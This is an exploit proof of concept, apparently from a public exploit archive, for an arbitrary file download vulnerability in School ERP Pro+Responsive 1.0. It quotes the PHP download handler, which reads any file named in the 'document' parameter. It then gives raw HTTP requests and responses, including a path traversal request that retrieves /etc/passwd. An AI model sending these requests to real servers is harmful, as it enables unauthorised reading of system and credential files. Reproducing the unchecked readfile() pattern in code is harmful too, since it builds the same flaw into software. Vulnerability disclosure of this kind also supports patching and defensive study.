School ERP Pro+Responsive 1.0 – Arbitrary File Download
# Exploit Title: School ERP Pro+Responsive 1.0 - Arbitrary File Download # Dork: N/A # Date: 2018-10-23 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://www.arox.in/ # Software Link: https://sourceforge.net/projects/school-management-system-php/files/latest/download # Software Link: http://erp.arox.in/ http://erp1.arox.in/ # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/student_staff/download.php?document=[FILE] # http://localhost/[PATH]/office_admin/download.php?document=[FILE] # # /[PATH]/student_staff/download.php # /[PATH]/office_admin/download.php # .... # if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") { # $file = $_REQUEST['document']; # header("Content-type: application/force-download"); # header("Content-Transfer-Encoding: Binary"); # header("Content-length: ".filesize($file)); # header("Content-disposition: attachment; filename=\"".$file."\""); # readfile($file); # exit; # } # .... GET /[PATH]/student_staff/download.php?document=download.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 23 Oct 2018 12:30:01 GMT Server: Apache Content-Transfer-Encoding: Binary Content-Disposition: attachment; filename="download.php" Content-Length: 337 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/force-download GET /[PATH]/office_admin/download.php?document=../../../../../etc/passwd HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 23 Oct 2018 12:31:34 GMT Server: Apache Content-Transfer-Encoding: Binary Content-Disposition: attachment; filename="../../../../../etc/passwd" Content-Length: 46368 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/force-download |